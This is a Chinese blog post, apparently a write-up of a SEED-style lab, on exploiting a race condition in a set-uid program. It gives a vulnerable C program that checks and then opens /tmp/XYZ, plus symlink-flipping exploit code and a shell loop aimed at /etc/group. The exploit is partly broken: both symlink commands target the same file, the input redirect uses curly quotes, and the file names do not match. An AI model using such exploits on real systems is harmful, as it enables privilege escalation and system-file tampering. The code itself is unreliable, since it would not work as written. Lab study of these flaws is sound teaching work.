具有set-uid的應用含有競態條件漏洞,利用方式。

0x00 含有s標誌位的含義

beyes@debian:~$ ls -l getuid.exe 
-rwsr-xr-x 1 beyes beyes 5211 Jun 10 10:45 getuid.exe
beyes@debian:~$ chmod u+s tuo.a
beyes@debian:~$ ls -l tuo.a
-rwsr-xr-x 1 root root 7567 Jul  8 14:53 tuo.a

這兩種在執行時的區別:
getuid()
geteuid()

0x01 漏洞代碼,及×××目標

目標修改/etc/group文件

含有漏洞的代碼vul.c如下:

/* vulp.c */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define DELAY 10000

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    long int i;
    /* get user input */
    scanf("%50s", buffer );
    if(!access(fn, W_OK)){
        for(i=0; i < DELAY; i++){
            int a = i^2;
        }
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}

編譯如下:
gcc -o vul vul.c
chmod u+s vul

0x02 漏洞利用

在某一時刻,兩個進程同時訪問/tmp/XYZ文件。則會出現競態條件漏洞。

×××代碼:

int main()
{
    while(1){
        system("ln -sf  /etc/group  /tmp/XYZ");
        system("ln -sf /etc/group /tmp/XYZ");
    }
    return 0;
}

腳本:

#!/bin/sh
#注意`不是單引號
old=`ls -l /home/shiyanlou/seed/root_file`
new=`ls -l /home/shiyanlou/seed/root_file`
while [ "$old" = "$new" ]
do
    ./vulp < “hacked by endlif”
    new=`ls -l /home/shiyanlou/seed/root_file`
done
echo "STOP... The file has been changed"

參考:
https://www.zybuluo.com/zwh8800/note/816659

https://www.shiyanlou.com/courses/249

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章